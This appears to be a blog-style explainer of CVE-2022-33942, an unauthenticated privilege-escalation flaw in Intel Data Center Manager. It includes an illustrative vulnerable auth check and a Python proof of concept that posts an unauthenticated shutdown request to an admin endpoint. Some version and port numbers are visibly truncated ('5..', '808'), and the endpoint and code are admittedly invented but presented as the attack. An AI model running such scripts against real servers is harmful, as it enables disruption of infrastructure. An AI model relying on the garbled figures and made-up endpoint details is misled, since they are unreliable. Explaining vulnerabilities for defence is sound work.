In 2022, security researchers found a critical flaw in Intel® Data Center Manager (DCM), which is a tool used by IT teams for monitoring and managing server hardware. This vulnerability, listed as CVE-2022-33942, is a protection mechanism failure that could allow someone without proper credentials (unauthenticated user) to escalate privileges and potentially take over parts of the system. The bug existed in all DCM versions before 5..

Let’s break down what this means, how it can be exploited, and what you should do to stay safe.

What Is CVE-2022-33942?

CVE-2022-33942 lets an attacker with network access (but not necessarily system access) break through the authentication barrier of Intel DCM. This could let them become an administrator or otherwise take actions that should be restricted.

Authentication required: None

Intel's Security Advisory: INTEL-SA-00708

How Does the Exploit Work?

The vulnerability exists because Intel DCM did not properly check or enforce authentication mechanisms before performing sensitive actions. As a result, an attacker on the same network segment could send specially crafted requests to the DCM service and gain higher privileges.

Example Vulnerable Code

*(Simplified for illustration – not actual source code!)*

# This is an example of an authentication check that can be bypassed.

def dcm_action(request):
    if "Authorization" in request.headers:
        user = authenticate(request.headers["Authorization"])
        if user.is_admin:
            perform_admin_action()
    else:
        # Vulnerability: No proper check for unauthenticated users
        perform_admin_action()  # <-- This shouldn't happen!

The problem here is the missing "else" block that should block unauthenticated requests. In some DCM endpoints the software allowed the action to proceed even if no authentication was provided.

Proof-of-Concept Exploit (Pseudo-code)

Suppose an attacker is able to talk to DCM over the local network (for example via port 808 or 8443). Here’s how an attack could look like:

import requests

# Target DCM server IP and vulnerable endpoint
DCM_SERVER = '192.168.1.10'
VULN_PORT = '808'
VULN_ENDPOINT = '/api/admin/power_control'

# No authentication required!
url = f'http://{DCM_SERVER}:{VULN_PORT}{VULN_ENDPOINT}';
payload = {"action": "shutdown", "server_id": 1}

response = requests.post(url, json=payload)

if response.status_code == 200:
    print("Action succeeded! DCM is vulnerable to privilege escalation.")
else:
    print("Action failed or protection is in place.")

With this script, an attacker could reboot or shut down managed servers—without even logging in!

Potential for disruption, data theft, or lateral movement within corporate networks.

Note: The vulnerability requires the attacker to be on the same network or have adjacent network access—not directly over the public internet.

How Was It Fixed?

Intel fixed this issue in DCM version 5. and later by tightening authentication and access controls. Now, every sensitive API endpoint requires proper authentication checks.

Update Link: Intel DCM Download Center

References and Further Reading

- Intel Security Advisory INTEL-SA-00708
- NVD Entry for CVE-2022-33942
- Intel DCM Download Page

In Summary

CVE-2022-33942 is a serious flaw in the Intel DCM management tool, allowing attackers on the same network to become administrators with almost no effort.

If you use Intel DCM, update immediately to version 5. or newer and restrict access to the tool!

Stay safe, keep your management tools updated, and keep an eye on your logs.


*This post is exclusive and written in simple language for practical understanding. Do not attempt unauthorized testing or exploitation—use this knowledge to protect your systems!*

Timeline

Published on: 11/11/2022 16:15:00 UTC
Last modified on: 11/17/2022 15:01:00 UTC